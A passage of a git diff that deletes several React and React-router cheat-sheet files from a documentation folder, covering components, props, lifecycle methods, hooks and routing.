--   `className`: the HTML `class` attribute, e.g., `className="btn"`
--   `htmlFor`: the HTML `for` attribute, e.g., `htmlFor="email"`
--   `dangerouslySetInnerHTML`: raw HTML by providing an object with the key `__html`
--   `children`: content of the element via `this.props.children`, e.g., `this.props.children[0]`
--   `data-NAME`: custom attribute, e.g., `data-tooltip-text="..."`
-
-## propTypes
-
-Types available under `React.PropTypes`:
-
--   `any`
--   `array`
--   `bool`
--   `element`
--   `func`
--   `node`
--   `number`
--   `object`
--   `string`
-
-To make required, append `.isRequired`.
-
-More methods:
-
--   `instanceOf(constructor)`
--   `oneOf(['News', 'Photos'])`
--   `oneOfType([propType, propType])`
-
-### Custom Validation
-
-```js
-propTypes: {
-  customProp: function(props, propName, componentName) {
-    if (!/regExPattern/.test(props[propName])) {
-      return new Error('Validation failed!');
-    }
-  }
-}
-```
-
-## Component Properties and Methods
-
-Properties:
-
--   `this.refs`: Lists components with a `ref` prop
--   `this.props`: Any props passed to an element (immutable)
--   `this.state`: State set by setState and getInitialState (muttable) — avoid setting state manually with `this.state=...`
--   `this.isMounted`: Flag whether the element has a corresponding DOM node or not
-
-Methods:
-
--   `setState(changes)`: Change state (partially) to `this.state` and trigger re-render
--   `replaceState(newState)`: Replace `this.state` and trigger re-render
--   `forceUpdate()`: Trigger DOM re-render immediately
-
-## React Addons
-
-As npm modules:
-
--   [`react-addons-css-transition-group`](http://facebook.github.io/react/docs/animation.html)
--   [`react-addons-perf`](http://facebook.github.io/react/docs/perf.html)
--   [`react-addons-test-utils`](http://facebook.github.io/react/docs/test-utils.html)
--   [`react-addons-pure-render-mixin`](http://facebook.github.io/react/docs/pure-render-mixin.html)
--   [`react-addons-linked-state-mixin`](http://facebook.github.io/react/docs/two-way-binding-helpers.html)
--   `react-addons-clone-with-props`
--   `react-addons-create-fragment`
--   `react-addons-css-transition-group`
--   `react-addons-linked-state-mixin`
--   `react-addons-pure-render-mixin`
--   `react-addons-shallow-compare`
--   `react-addons-transition-group`
--   [`react-addons-update`](http://facebook.github.io/react/docs/update.html)
-
-## React Components
-
--   [https://github.com/brillout/awesome-react-components](https://github.com/brillout/awesome-react-components) and [http://devarchy.com/react-components](http://devarchy.com/react-components): List of React components
--   [Material-UI](http://www.material-ui.com): Material design React components
--   [http://react-toolbox.com](http://react-toolbox.com): Set of React components that implement Google Material Design specification
--   [https://js.coach](https://js.coach): Opinionated catalog of open source JS (mostly React) packages
--   [https://react.rocks](https://react.rocks): Catalog of React components
--   [https://khan.github.io/react-components](https://khan.github.io/react-components): Khan Academy React components
--   [http://www.reactjsx.com](http://www.reactjsx.com): Registry of React components
diff --git a/docs/content/cheat-sheets/react-patterns.md b/docs/content/cheat-sheets/react-patterns.md
deleted file mode 100644
index 38ea548de4..0000000000
--- a/docs/content/cheat-sheets/react-patterns.md
+++ /dev/null
@@ -1 +0,0 @@
-# React Patterns:
diff --git a/docs/content/cheat-sheets/react-router.md b/docs/content/cheat-sheets/react-router.md
deleted file mode 100644
index 0e7a1f1a4f..0000000000
--- a/docs/content/cheat-sheets/react-router.md
+++ /dev/null
@@ -1,109 +0,0 @@
-# React-router
-
-#### Basic
-
-```js
-import { default as Router, Route } from 'react-router';
-
-const routes = (
-    <Route>
-        <Route path="*" handler={RootView} />
-    </Route>
-);
-
-Router.run(routes, Router.HashLocation, (Root) => {
-    React.render(<Root />, document.getElementById('all'));
-});
-```
-
-#### Nesting
-
-```js
-const routes = (
-    <Route handler={Chrome}>
-        <Route path="about" handler={About} />
-        <Route path="inbox" handler={Inbox} />
-        <Route path="messages/:id" handler={Message} />
-    </Route>
-);
-
-import { RouteHandler } from 'react-router';
-
-const Chrome = React.createClass({
-    render() {
-        return (
-            <div>
-                <h1>App</h1>
-                <RouteHandler />
-            </div>
-        );
-    }
-});
-```
-
-#### URL params
-
-```js
-var Message = React.createClass({
-  componentDidMount: function () {
-    // from the path `/inbox/messages/:id`
-    var id = this.props.params.id
-    ...
-```
-
-#### Link
-
-```js
-import { Link } from 'react-router'
-
-<!-- make a named route `user` -->
-<Link to='user' params={{userId: 10}} />
-
-<Link to='login'
-  activeClassName='-active'
-  onClick='...'>
-```
-
-#### Other config
-
-```js
-<Route path='/'>
-  <DefaultRoute handler={Home} />
-  <NotFoundRoute handler={NotFound} />
-
-  <Redirect from='login' to='sessions/new' />
-  <Redirect from='login' to='sessions/new' params={{from: 'home'}} />
-  <Redirect from='profile/:id' to='about-user' />
-
-  <Route name='about-user' ... />
-```
-
-#### Router.create
-
-```js
-var router = Router.create({
-  routes: <Route>...</Route>,
-  location: Router.HistoryLocation
-})
-
-router.run((Root) => { ... })
-```
-
-#### Navigation
-
-```js
-import { Navigation } from 'react-router'
-
-React.createClass({
-  mixins: [ Navigation ], ...
-})
-
-this
-  .transitionTo('user', {id: 10})
-  .transitionTo('/path')
-  .transitionTo('http://...')
-  .replaceWith('about')
-  .makePath('about') // return URL
-  .makeHref('about') // return URL
-  .goBack()
-```
diff --git a/docs/content/cheat-sheets/react.js b/docs/content/cheat-sheets/react.js
deleted file mode 100644
index bf18ac9411..0000000000
--- a/docs/content/cheat-sheets/react.js
+++ /dev/null
@@ -1,292 +0,0 @@
-/* *******************************************************************************************
- * REACT.JS CHEATSHEET
- * DOCUMENTATION: https://reactjs.org/docs/
- * FILE STRUCTURE: https://reactjs.org/docs/faq-structure.html
-//------------------------------------------------------------------------------\\
-*/
-
-``
-`
-npm install --save react       // declarative and flexible JavaScript library for building UI
-npm install --save react-dom   // serves as the entry point of the DOM-related rendering paths
-npm install --save prop-types  // runtime type checking for React props and similar objects
-`
-``
-// notes: don't forget the command lines
-
-/* *******************************************************************************************
- * REACT
- * https://reactjs.org/docs/react-api.html
-//------------------------------------------------------------------------------\\
-*/
-
-// Create and return a new React element of the given type.
-// Code written with JSX will be converted to use React.createElement().
-// You will not typically invoke React.createElement() directly if you are using JSX.
-React.createElement(
-  type,
-  [ props ],
-  [ ...children ]
-)
-// Clone and return a new React element using element as the starting point.
-// The resulting element will have the original element's props with the new props merged in shallowly.
-React.cloneElement(
-  element,
-  [ props ],
-  [ ...children ]
-)
-// Verifies the object is a React element. Returns true or false.
-React.isValidElement( object )
-React.Children // provides utilities for dealing with the this.props.children opaque data structure.
-// Invokes a function on every immediate child contained within children with this set to thisArg.
-React.Children.map( children, function [ ( thisArg ) ] )
-// Like React.Children.map() but does not return an array.
-React.Children.forEach( children, function [ ( thisArg ) ] )
-// Returns the total number of components in children,
-// equal to the number of times that a callback passed to map or forEach would be invoked.
-React.Children.count( children )
-// Verifies that children has only one child (a React element) and returns it.
-// Otherwise this method throws an error.
-React.Children.only( children )
-// Returns the children opaque data structure as a flat array with keys assigned to each child.
-// Useful if you want to manipulate collections of children in your render methods,
-// especially if you want to reorder or slice this.props.children before passing it down.
-React.Children.toArray( children )
-// The React.Fragment component lets you return multiple elements in a render() method without creating an additional DOM element
-// You can also use it with the shorthand <></> syntax.
-React.Fragment
-
-/* *******************************************************************************************
- * REACT.COMPONENT
- * React.Component is an abstract base class, so it rarely makes sense to refer to React.Component
- * directly. Instead, you will typically subclass it, and define at least a render() method.
- * https://reactjs.org/docs/react-component.html
-//------------------------------------------------------------------------------\\
-*/
-
-class Component extends React.Component {
-  // Will be called before it is mounted
-  constructor( props ) {
-    // Call this method before any other statement
-    // or this.props will be undefined in the constructor
-    super( props );
-    // The constructor is also often used to bind event handlers to the class instance.
-    // Binding makes sure the method has access to component attributes like this.props and this.state
-    this.method = this.method.bind( this );
-    // The constructor is the right place to initialize state.
-    this.state = {
-      active: true,
-      // In rare cases, it's okay to initialize state based on props.
-      // This effectively “forks” the props and sets the state with the initial props.
-      // If you “fork” props by using them for state, you might also want to implement componentWillReceiveProps(nextProps)
-      // to keep the state up-to-date with them. But lifting state up is often easier and less bug-prone.
-      color: props.initialColor
-    };
-  }
-  // Enqueues changes to the component state and
-  // tells React that this component and its children need to be re-rendered with the updated state.
-  // setState() does not always immediately update the component. It may batch or defer the update until later.
-  // This makes reading this.state right after calling setState() a potential pitfall.
-  // Instead, use componentDidUpdate or a setState callback.
-  // You may optionally pass an object as the first argument to setState() instead of a function.
-  setState( updater[ , callback ] ) {}
-  // Invoked just before mounting occurs (before render())
-  // This is the only lifecycle hook called on server rendering.
-  componentWillMount() {}
-  // Invoked immediately after a component is mounted.
-  // Initialization that requires DOM nodes should go here.
-  // If you need to load data from a remote endpoint, this is a good place to instantiate the network request.
-  // This method is a good place to set up any subscriptions. If you do that, don't forget to unsubscribe in componentWillUnmount().
-  componentDidMount() {}
-  // Invoked before a mounted component receives new props.
-  // If you need to update the state in response to prop changes (for example, to reset it),
-  // you may compare this.props and nextProps and perform state transitions using this.setState() in this method.
-  componentWillReceiveProps( nextProps ) {}
-  // Let React know if a component's output is not affected by the current change in state or props.
-  // The default behavior is to re-render on every state change, and in the vast majority of cases you should rely on the default behavior.
-  // shouldComponentUpdate() is invoked before rendering when new props or state are being received. Defaults to true.
-  // This method is not called for the initial render or when forceUpdate() is used.
-  // Returning false does not prevent child components from re-rendering when their state changes.
-  shouldComponentUpdate( nextProps, nextState ) {}
-  // Invoked just before rendering when new props or state are being received.
-  // Use this as an opportunity to perform preparation before an update occurs. This method is not called for the initial render.
-  // Note that you cannot call this.setState() here; nor should you do anything else
-  // (e.g. dispatch a Redux action) that would trigger an update to a React component before componentWillUpdate() returns.
-  // If you need to update state in response to props changes, use componentWillReceiveProps() instead.
-  componentWillUpdate( nextProps, nextState ) {}
-  // Invoked immediately after updating occurs. This method is not called for the initial render.
-  // Use this as an opportunity to operate on the DOM when the component has been updated.
-  // This is also a good place to do network requests as long as you compare the current props to previous props (e.g. a network request may not be necessary if the props have not changed).
-  componentDidUpdate( prevProps, prevState ) {}
-  // Invoked immediately before a component is unmounted and destroyed.
-  // Perform any necessary cleanup in this method, such as invalidating timers, canceling network requests,
-  // or cleaning up any subscriptions that were created in componentDidMount().
-  componentWillUnmount() {}
-  // Error boundaries are React components that catch JavaScript errors anywhere in their child component tree,
-  // log those errors, and display a fallback UI instead of the component tree that crashed.
-  // Error boundaries catch errors during rendering, in lifecycle methods, and in constructors of the whole tree below them.
-  componentDidCatch() {}
-  // This method is required.
-  // It should be pure, meaning that it does not modify component state,
-  // it returns the same result each time it's invoked, and
-  // it does not directly interact with the browser (use lifecycle methods for this)
-  // It must return one of the following types: react elements, string and numbers, portals, null or booleans.
-  render() {
-    // Contains the props that were defined by the caller of this component.
-    console.log( this.props );
-    // Contains data specific to this component that may change over time.
-    // The state is user-defined, and it should be a plain JavaScript object.
-    // If you don't use it in render(), it shouldn't be in the state.
-    // For example, you can put timer IDs directly on the instance.
-    // Never mutate this.state directly, as calling setState() afterwards may replace the mutation you made.
-    // Treat this.state as if it were immutable.
-    console.log( this.state );
-    return ( <
-      div > {
-        /* Comment goes here */
-      }
-      Hello, {
-        this.props.name
-      }!
-      <
-      /div>
-    );
-  }
-}
-// Can be defined as a property on the component class itself, to set the default props for the class.
-// This is used for undefined props, but not for null props.
-Component.defaultProps = {
-  color: 'blue'
-};
-component = new Component();
-// By default, when your component's state or props change, your component will re-render.
-// If your render() method depends on some other data, you can tell React that the component needs re-rendering by calling forceUpdate().
-// Normally you should try to avoid all uses of forceUpdate() and only read from this.props and this.state in render().
-component.forceUpdate( callback )
-
-/* *******************************************************************************************
- * REACT.DOM
- * The react-dom package provides DOM-specific methods that can be used at the top level of
- * your app and as an escape hatch to get outside of the React model if you need to.
- * Most of your components should not need to use this module.
- * https://reactjs.org/docs/react-dom.html
-//------------------------------------------------------------------------------\\
-*/
-
-// Render a React element into the DOM in the supplied container and return a reference
-// to the component (or returns null for stateless components).
-ReactDOM.render( element, container[ , callback ] )
-// Same as render(), but is used to hydrate a container whose HTML contents were rendered
-// by ReactDOMServer. React will attempt to attach event listeners to the existing markup.
-ReactDOM.hydrate( element, container[ , callback ] )
-// Remove a mounted React component from the DOM and clean up its event handlers and state.
-// If no component was mounted in the container, calling this function does nothing.
-// Returns true if a component was unmounted and false if there was no component to unmount.
-ReactDOM.unmountComponentAtNode( container )
-// If this component has been mounted into the DOM, this returns the corresponding native browser
-// DOM element. This method is useful for reading values out of the DOM, such as form field values
-// and performing DOM measurements. In most cases, you can attach a ref to the DOM node and avoid
-// using findDOMNode at all.
-ReactDOM.findDOMNode( component )
-// Creates a portal. Portals provide a way to render children into a DOM node that exists outside
-// the hierarchy of the DOM component.
-ReactDOM.createPortal( child, container )
-
-/* *******************************************************************************************
- * REACTDOMSERVER
- * The ReactDOMServer object enables you to render components to static markup.
- * https://reactjs.org/docs/react-dom.html
-//------------------------------------------------------------------------------\\
-*/
-
-// Render a React element to its initial HTML. React will return an HTML string.
-// You can use this method to generate HTML on the server and send the markup down on the initial
-// request for faster page loads and to allow search engines to crawl your pages for SEO purposes.
-ReactDOMServer.renderToString( element )
-// Similar to renderToString, except this doesn't create extra DOM attributes that React uses
-// internally, such as data-reactroot. This is useful if you want to use React as a simple static
-// page generator, as stripping away the extra attributes can save some bytes.
-ReactDOMServer.renderToStaticMarkup( element )
-// Render a React element to its initial HTML. Returns a Readable stream that outputs an HTML string.
-// The HTML output by this stream is exactly equal to what ReactDOMServer.renderToString would return.
-// You can use this method to generate HTML on the server and send the markup down on the initial
-// request for faster page loads and to allow search engines to crawl your pages for SEO purposes.
-ReactDOMServer.renderToNodeStream( element )
-// Similar to renderToNodeStream, except this doesn't create extra DOM attributes that React uses
-// internally, such as data-reactroot. This is useful if you want to use React as a simple static
-// page generator, as stripping away the extra attributes can save some bytes.
-ReactDOMServer.renderToStaticNodeStream( element )
-
-/* *******************************************************************************************
- * TYPECHECKING WITH PROPTYPES
- * https://reactjs.org/docs/typechecking-with-proptypes.html
-//------------------------------------------------------------------------------\\
-*/
-
-import PropTypes from 'prop-types';
-MyComponent.propTypes = {
-  // You can declare that a prop is a specific JS type. By default, these
-  // are all optional.
-  optionalArray: PropTypes.array,
-  optionalBool: PropTypes.bool,
-  optionalFunc: PropTypes.func,
-  optionalNumber: PropTypes.number,
-  optionalObject: PropTypes.object,
-  optionalString: PropTypes.string,
-  optionalSymbol: PropTypes.symbol,
-  // Anything that can be rendered: numbers, strings, elements or an array
-  // (or fragment) containing these types.
-  optionalNode: PropTypes.node,
-  // A React element.
-  optionalElement: PropTypes.element,
-  // You can also declare that a prop is an instance of a class. This uses
-  // JS's instanceof operator.
-  optionalMessage: PropTypes.instanceOf( Message ),
-  // You can ensure that your prop is limited to specific values by treating
-  // it as an enum.
-  optionalEnum: PropTypes.oneOf( [ 'News', 'Photos' ] ),
-  // An object that could be one of many types
-  optionalUnion: PropTypes.oneOfType( [
-    PropTypes.string,
-    PropTypes.number,
-    PropTypes.instanceOf( Message )
-  ] ),
-  // An array of a certain type
-  optionalArrayOf: PropTypes.arrayOf( PropTypes.number ),
-  // An object with property values of a certain type
-  optionalObjectOf: PropTypes.objectOf( PropTypes.number ),
-  // An object taking on a particular shape
-  optionalObjectWithShape: PropTypes.shape( {
-    color: PropTypes.string,
-    fontSize: PropTypes.number
-  } ),
-  // You can chain any of the above with `isRequired` to make sure a warning
-  // is shown if the prop isn't provided.
-  requiredFunc: PropTypes.func.isRequired,
-  // A value of any data type
-  requiredAny: PropTypes.any.isRequired,
-  // You can also specify a custom validator. It should return an Error
-  // object if the validation fails. Don't `console.warn` or throw, as this
-  // won't work inside `oneOfType`.
-  customProp: function ( props, propName, componentName ) {
-    if ( !/matchme/.test( props[ propName ] ) ) {
-      return new Error(
-        'Invalid prop `' + propName + '` supplied to' +
-        ' `' + componentName + '`. Validation failed.'
-      );
-    }
-  },
-  // You can also supply a custom validator to `arrayOf` and `objectOf`.
-  // It should return an Error object if the validation fails. The validator
-  // will be called for each key in the array or object. The first two
-  // arguments of the validator are the array or object itself, and the
-  // current item's key.
-  customArrayProp: PropTypes.arrayOf( function ( propValue, key, componentName, location, propFullName ) {
-    if ( !/matchme/.test( propValue[ key ] ) ) {
-      return new Error(
-        'Invalid prop `' + propFullName + '` supplied to' +
-        ' `' + componentName + '`. Validation failed.'
-      );
-    }
-  } )
-};
diff --git a/docs/content/cheat-sheets/react.js-1.md b/docs/content/cheat-sheets/react.js-1.md
deleted file mode 100644
index 8bab44d56b..0000000000
--- a/docs/content/cheat-sheets/react.js-1.md
+++ /dev/null
@@ -1 +0,0 @@
-# React.js
diff --git a/docs/content/cheat-sheets/react.js-cheatsheet-2.md b/docs/content/cheat-sheets/react.js-cheatsheet-2.md
deleted file mode 100644
index 867c8443e4..0000000000
--- a/docs/content/cheat-sheets/react.js-cheatsheet-2.md
+++ /dev/null
@@ -1,827 +0,0 @@
-# React.js cheatsheet 2
-
-### Components
-
-#### Components
-
-```jsx
-import React from 'react';
-import ReactDOM from 'react-dom';
-```
-
-{: .-setup}
-
-```jsx
-class Hello extends React.Component {
-    render() {
-        return <div className="message-box">Hello {this.props.name}</div>;
-    }
-}
-```
-
-```jsx
-const el = document.body;
-ReactDOM.render(<Hello name="John" />, el);
-```
-
-Use the [React.js jsfiddle](http://jsfiddle.net/reactjs/69z2wepo/) to start hacking. (or the unofficial [jsbin](http://jsbin.com/yafixat/edit?js,output))
-
-#### Import multiple exports
-
-```jsx
-import React, { Component } from 'react';
-import ReactDOM from 'react-dom';
-```
-
-{: .-setup}
-
-```jsx
-
-
-class Hello extends Component {
-  ...
-}
-```
-
-#### Properties
-
-```html
-<video fullscreen="{true}" autoplay="{false}" />
-```
-
-{: .-setup}
-
-```jsx
-
-
-render () {
-  this.props.fullscreen
-  const { fullscreen, autoplay } = this.props
-  ···
-}
-```
-
-{: data-line="2,3"}
-
-Use `this.props` to access properties passed to the component.
-
-See: [Properties](https://reactjs.org/docs/tutorial.html#using-props)
-
-#### States
-
-```jsx
-
-
-constructor(props) {
-  super(props)
-  this.state = { username: undefined }
-}
-```
-
-```jsx
-this.setState({ username: 'rstacruz' });
-```
-
-```jsx
-
-
-render () {
-  this.state.username
-  const { username } = this.state
-  ···
-}
-```
-
-{: data-line="2,3"}
-
-Use states (`this.state`) to manage dynamic data.
-
-With [Babel](https://babeljs.io) you can use [proposal-class-fields](https://github.com/tc39/proposal-class-fields) and get rid of constructor
-
-```jsx
-
-
-class Hello extends Component {
-  state = { username: undefined };
-  ...
-}
-```
-
-See: [States](https://reactjs.org/docs/tutorial.html#reactive-state)
-
-#### Nesting
-
-```jsx
-class Info extends Component {
-    render() {
-        const { avatar, username } = this.props;
-
-        return (
-            <div>
-                <UserAvatar src={avatar} />
-                <UserProfile username={username} />
-            </div>
-        );
-    }
-}
-```
-
-As of React v16.2.0, fragments can be used to return multiple children without adding extra wrapping nodes to the DOM.
-
-```jsx
-import React, { Component, Fragment } from 'react';
-
-class Info extends Component {
-    render() {
-        const { avatar, username } = this.props;
-
-        return (
-            <Fragment>
-                <UserAvatar src={avatar} />
-                <UserProfile username={username} />
-            </Fragment>
-        );
-    }
-}
-```
-
-{: data-line="5,6,7,8,9,10"}
-
-Nest components to separate concerns.
-
-See: [Composing Components](https://reactjs.org/docs/components-and-props.html#composing-components)
-
-#### Children
-
-```jsx
-<AlertBox>
-    <h1>You have pending notifications</h1>
-</AlertBox>
-```
-
-{: data-line="2"}
-
-```jsx
-class AlertBox extends Component {
-    render() {
-        return <div className="alert-box">{this.props.children}</div>;
-    }
-}
-```
-
-{: data-line="4"}
-
-Children are passed as the `children` property.
-
-### Defaults
-
-#### Setting default props
-
-```jsx
-Hello.defaultProps = {
-    color: 'blue'
-};
-```
-
-{: data-line="1"}
-
-See: [defaultProps](https://reactjs.org/docs/react-component.html#defaultprops)
-
-#### Setting default state
-
-```jsx
-class Hello extends Component {
-    constructor(props) {
-        super(props);
-        this.state = { visible: true };
-    }
-}
-```
-
-{: data-line="4"}
-
-Set the default state in the `constructor()`.
-
-And without constructor using [Babel](https://babeljs.io) with [proposal-class-fields](https://github.com/tc39/proposal-class-fields).
-
-```jsx
-
-
-class Hello extends Component {
-    state = { visible: true }
-  }
-}
-```
-
-{: data-line="2"}
-
-See: [Setting the default state](https://reactjs.org/docs/react-without-es6.html#setting-the-initial-state)
-
-### Other components
-
-#### Functional components
-
-```jsx
-function MyComponent({ name }) {
-    return <div className="message-box">Hello {name}</div>;
-}
-```
-
-{: data-line="1"}
-
-Functional components have no state. Also, their `props` are passed as the first parameter to a function.
-
-See: [Function and Class Components](https://reactjs.org/docs/components-and-props.html#functional-and-class-components)
-
-#### Pure components
-
-```jsx
-
-
-import React, {PureComponent} from 'react'
-
-class MessageBox extends PureComponent {
-  ···
-}
-```
-
-Performance-optimized version of `React.Component`. Doesn't rerender if props/state hasn't changed.
-
-See: [Pure components](https://reactjs.org/docs/react-api.html#react.purecomponent)
-
-#### Component API
-
-```jsx
-this.forceUpdate();
-```
-
-```jsx
-
-
-this.setState({ ... })
-this.setState(state => { ... })
-```
-
-```jsx
-this.state;
-this.props;
-```
-
-These methods and properties are available for `Component` instances.
-
-See: [Component API](http://facebook.github.io/react/docs/component-api.html)
-
-### Lifecycle
-
-{: .-two-column}
-
-#### Mounting
-
-| Method                   | Description                                                                                          |
-| ------------------------ | ---------------------------------------------------------------------------------------------------- |
-| `constructor` _(props)_  | Before rendering [#](https://reactjs.org/docs/react-component.html#constructor)                      |
-| `componentWillMount()`   | _Don't use this_ [#](https://reactjs.org/docs/react-component.html#componentwillmount)               |
-| `render()`               | Render [#](https://reactjs.org/docs/react-component.html#render)                                     |
-| `componentDidMount()`    | After rendering (DOM available) [#](https://reactjs.org/docs/react-component.html#componentdidmount) |
-| ---                      | ---                                                                                                  |
-| `componentWillUnmount()` | Before DOM removal [#](https://reactjs.org/docs/react-component.html#componentwillunmount)           |
-| ---                      | ---                                                                                                  |
-| `componentDidCatch()`    | Catch errors (16+) [#](https://reactjs.org/blog/2017/07/26/error-handling-in-react-16.html)          |
-
-Set initial the state on `constructor()`. Add DOM event handlers, timers (etc) on `componentDidMount()`, then remove them on `componentWillUnmount()`.
-
-#### Updating
-
-| Method                                                  | Description                                          |
-| ------------------------------------------------------- | ---------------------------------------------------- |
-| `componentDidUpdate` _(prevProps, prevState, snapshot)_ | Use `setState()` here, but remember to compare props |
-| `shouldComponentUpdate` _(newProps, newState)_          | Skips `render()` if returns false                    |
-| `render()`                                              | Render                                               |
-| `componentDidUpdate` _(prevProps, prevState)_           | Operate on the DOM here                              |
-
-Called when parents change properties and `.setState()`. These are not called for initial renders.
-
-See: [Component specs](http://facebook.github.io/react/docs/component-specs.html#updating-componentwillreceiveprops)
-
-### Hooks (New)
-
-{: .-two-column}
-
-#### State Hook
-
-```jsx
-import React, { useState } from 'react';
-
-function Example() {
-    // Declare a new state variable, which we'll call "count"
-    const [count, setCount] = useState(0);
-
-    return (
-        <div>
-            <p>You clicked {count} times</p>
-            <button onClick={() => setCount(count + 1)}>Click me</button>
-        </div>
-    );
-}
-```
-
-{: data-line="5,10"}
-
-Hooks are a new addition in React 16.8.
-
-See: [Hooks at a Glance](https://reactjs.org/docs/hooks-overview.html)
-
-#### Declaring multiple state variables
-
-```jsx
-function ExampleWithManyStates() {
-    // Declare multiple state variables!
-    const [age, setAge] = useState(42);
-    const [fruit, setFruit] = useState('banana');
-    const [todos, setTodos] = useState([{ text: 'Learn Hooks' }]);
-    // ...
-}
-```
-
-#### Effect hook
-
-```jsx
-import React, { useState, useEffect } from 'react';
-
-function Example() {
-    const [count, setCount] = useState(0);
-
-    // Similar to componentDidMount and componentDidUpdate:
-    useEffect(() => {
-        // Update the document title using the browser API
-        document.title = `You clicked ${count} times`;
-    }, [count]);
-
-    return (
-        <div>
-            <p>You clicked {count} times</p>
-            <button onClick={() => setCount(count + 1)}>Click me</button>
-        </div>
-    );
-}
-```
-
-{: data-line="6,7,8,9,10"}
-
-If you're familiar with React class lifecycle methods, you can think of `useEffect` Hook as `componentDidMount`, `componentDidUpdate`, and `componentWillUnmount` combined.
-
-By default, React runs the effects after every render — including the first render.
-
-#### Building your own hooks
-
-**Define FriendStatus**
-
-```jsx
-import React, { useState, useEffect } from 'react';
-
-function FriendStatus(props) {
-    const [isOnline, setIsOnline] = useState(null);
-
-    useEffect(() => {
-        function handleStatusChange(status) {
-            setIsOnline(status.isOnline);
-        }
-
-        ChatAPI.subscribeToFriendStatus(props.friend.id, handleStatusChange);
-        return () => {
-            ChatAPI.unsubscribeFromFriendStatus(props.friend.id, handleStatusChange);
-        };
-    }, [props.friend.id]);
-
-    if (isOnline === null) {
-        return 'Loading...';
-    }
-    return isOnline ? 'Online' : 'Offline';
-}
-```
-
-{: data-line="11,12,13,14"}
-
-Effects may also optionally specify how to "clean up" after them by returning a function.
-
-**Use FriendStatus**
-
-```jsx
-function FriendStatus(props) {
-    const isOnline = useFriendStatus(props.friend.id);
-
-    if (isOnline === null) {
-        return 'Loading...';
-    }
-    return isOnline ? 'Online' : 'Offline';
-}
-```
-
-{: data-line="2"}
-
-See: [Building Your Own Hooks](https://reactjs.org/docs/hooks-custom.html)
-
-#### Hooks API Reference
-
-Also see: [Hooks FAQ](https://reactjs.org/docs/hooks-faq.html)
-
-**Basic Hooks**
-
-| Hook                         | Description                               |
-| ---------------------------- | ----------------------------------------- |
-| `useState`_(initialState)_   |                                           |
-| `useEffect`_(() => { ... })_ |                                           |
-| `useContext`_(MyContext)_    | value returned from `React.createContext` |
-
-Full details: [Basic Hooks](https://reactjs.org/docs/hooks-reference.html#basic-hooks)
-
-**Additional Hooks**
-
-| Hook                                        | Description                                                                  |
-| ------------------------------------------- | ---------------------------------------------------------------------------- |
-| `useReducer`_(reducer, initialArg, init)_   |                                                                              |
-| `useCallback`_(() => { ... })_              |                                                                              |
-| `useMemo`_(() => { ... })_                  |                                                                              |
-| `useRef`_(initialValue)_                    |                                                                              |
-| `useImperativeHandle`_(ref, () => { ... })_ |                                                                              |
-| `useLayoutEffect`                           | identical to `useEffect`, but it fires synchronously after all DOM mutations |
-| `useDebugValue`_(value)_                    | display a label for custom hooks in React DevTools                           |
-
-Full details: [Additional Hooks](https://reactjs.org/docs/hooks-reference.html#additional-hooks)
-
-### DOM nodes
-
-{: .-two-column}
-
-#### References
-
-```jsx
-class MyComponent extends Component {
-    render() {
-        return (
-            <div>
-                <input ref={(el) => (this.input = el)} />
-            </div>
-        );
-    }
-
-    componentDidMount() {
-        this.input.focus();
-    }
-}
-```
-
-{: data-line="4,9"}
-
-Allows access to DOM nodes.
-
-See: [Refs and the DOM](https://reactjs.org/docs/refs-and-the-dom.html)
-
-#### DOM Events
-
-```jsx
-class MyComponent extends Component {
-    render() {
-        <input type="text" value={this.state.value} onChange={(event) => this.onChange(event)} />;
-    }
-
-    onChange(event) {
-        this.setState({ value: event.target.value });
-    }
-}
-```
-
-{: data-line="5,9"}
-
-Pass functions to attributes like `onChange`.
-
-See: [Events](https://reactjs.org/docs/events.html)
-
-### Other features
-
-#### Transferring props
-
-```html
-<VideoPlayer src="video.mp4" />
-```
-
-{: .-setup}
-
-```jsx
-class VideoPlayer extends Component {
-    render() {
-        return <VideoEmbed {...this.props} />;
-    }
-}
-```
-
-Propagates `src="..."` down to the sub-component.
-
-See [Transferring props](http://facebook.github.io/react/docs/transferring-props.html)
-
-#### Top-level API
-
-```jsx
-
-
-React.createClass({ ... })
-React.isValidElement(c)
-```
-
-```jsx
-ReactDOM.render(<Component />, domnode, [callback]);
-ReactDOM.unmountComponentAtNode(domnode);
-```
-
-```jsx
-ReactDOMServer.renderToString(<Component />);
-ReactDOMServer.renderToStaticMarkup(<Component />);
-```
-
-There are more, but these are most common.
-
-See: [React top-level API](https://reactjs.org/docs/react-api.html)
-
-### JSX patterns
-
-{: .-two-column}
-
-#### Style shorthand
-
-```jsx
-const style = { height: 10 };
-return <div style={style}></div>;
-```
-
-```jsx
-return <div style={{ margin: 0, padding: 0 }}></div>;
-```
-
-See: [Inline styles](https://reactjs.org/tips/inline-styles.html)
-
-#### Inner HTML
-
-```jsx
-function markdownify() {
-    return '<p>...</p>';
-}
-<div dangerouslySetInnerHTML={{ __html: markdownify() }} />;
-```
-
-See: [Dangerously set innerHTML](https://reactjs.org/tips/dangerously-set-inner-html.html)
-
-#### Lists
-
-```jsx
-class TodoList extends Component {
-    render() {
-        const { items } = this.props;
-
-        return (
-            <ul>
-                {items.map((item) => (
-                    <TodoItem item={item} key={item.key} />
-                ))}
-            </ul>
-        );
-    }
-}
-```
-
-{: data-line="6,7"}
-
-Always supply a `key` property.
-
-#### Conditionals
-
-```jsx
-<Fragment>{showMyComponent ? <MyComponent /> : <OtherComponent />}</Fragment>
-```
-
-#### Short-circuit evaluation
-
-```jsx
-<Fragment>
-    {showPopup && <Popup />}
-    ...
-</Fragment>
-```
-
-### New features
-
-#### Returning multiple elements
-
-You can return multiple elements as arrays or fragments.
-
-**Arrays**
-
-```js
-render () {
-  // Don't forget the keys!
-  return [
-    <li key="A">First item</li>,
-    <li key="B">Second item</li>
-  ]
-}
-```
-
-{: data-line="3,4,5,6"}
-
-**Fragments**
-
-```js
-render () {
-  // Fragments don't require keys!
-  return (
-    <Fragment>
-      <li>First item</li>
-      <li>Second item</li>
-    </Fragment>
-  )
-}
-```
-
-{: data-line="3,4,5,6,7,8"}
-
-See: [Fragments and strings](https://reactjs.org/blog/2017/09/26/react-v16.0.html#new-render-return-types-fragments-and-strings)
-
-#### Returning strings
-
-```js
-render() {
-  return 'Look ma, no spans!';
-}
-```
-
-{: data-line="2"}
-
-You can return just a string.
-
-See: [Fragments and strings](https://reactjs.org/blog/2017/09/26/react-v16.0.html#new-render-return-types-fragments-and-strings)
-
-#### Errors
-
-```js
-class MyComponent extends Component {
-  ···
-  componentDidCatch (error, info) {
-    this.setState({ error })
-  }
-}
-```
-
-{: data-line="3,4,5"}
-
-Catch errors via `componentDidCatch`. (React 16+)
-
